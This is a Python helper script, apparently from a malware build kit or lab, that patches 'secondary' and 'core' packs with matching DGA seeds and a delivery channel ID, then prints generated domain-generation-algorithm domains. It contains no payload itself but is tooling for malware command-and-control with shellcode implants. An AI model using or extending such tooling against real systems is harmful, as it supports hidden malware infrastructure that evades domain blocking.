Files
2026-08-09 21:57:08 +08:00

130 lines
3.7 KiB
Python

#!/usr/bin/env python3
"""Convenience wrapper: DGA seed patch for secondary + core (legacy / local use).
Prefer ``new_project.py --artifact-root …`` for the shared lab layout.
"""
from __future__ import annotations
import argparse
import json
import secrets
import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _common import ORIGINAL_CORE_CHANNEL_ID
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
def gen_seed() -> str:
return secrets.token_hex(16)
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(BUILDER_ROOT), check=True)
def main() -> int:
parser = argparse.ArgumentParser(
description="Patch type0x01 + core/daily with DGA seeds (no fixed-domain shellcode)."
)
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
parser.add_argument("--channel-id", help="delivery channel for type-0x01 (default: random)")
parser.add_argument(
"--root",
type=Path,
help="artifact root with sync/ + web/<channel>/ (required with --apply)",
)
parser.add_argument("--apply", action="store_true", help="write into --root")
parser.add_argument("-n", "--count", type=int, default=5, help="DGA candidates to print")
parser.add_argument(
"--shared-layout",
action="store_true",
default=True,
help="use shared sync/ + web/<channel>/ (default: on)",
)
parser.add_argument(
"--no-shared-layout",
action="store_false",
dest="shared_layout",
help="legacy isolated root/web + root/sync",
)
args = parser.parse_args()
if args.apply and not args.root:
raise SystemExit("--apply requires --root")
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
if args.deployment_seed and args.reporting_seed and args.deployment_seed != args.reporting_seed:
raise SystemExit("deployment and reporting seeds must match")
dep = args.deployment_seed or args.reporting_seed or gen_seed()
rep = dep
py = sys.executable or "python3"
root = ["--root", str(args.root.resolve())] if args.root else []
apply = ["--apply"] if args.apply else []
shared = ["--shared-layout"] if args.shared_layout else []
print("=== patch_all (dga) ===")
print(f"channel={channel} dep={dep} rep={rep}")
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"--channel-id",
channel,
*shared,
*root,
*apply,
]
)
run(
[
py,
str(TOOLS / "patch_core.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"--channel-id",
ORIGINAL_CORE_CHANNEL_ID,
*shared,
*root,
*apply,
]
)
result = subprocess.run(
[
py,
str(TOOLS / "compute_dga_domains.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"-n",
str(args.count),
"--json",
],
cwd=str(BUILDER_ROOT),
check=True,
capture_output=True,
text=True,
)
domains = json.loads(result.stdout)
print(json.dumps({"channel_id": channel, "seeds": {"deployment_seed": dep, "reporting_seed": rep}, "domains": domains}, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())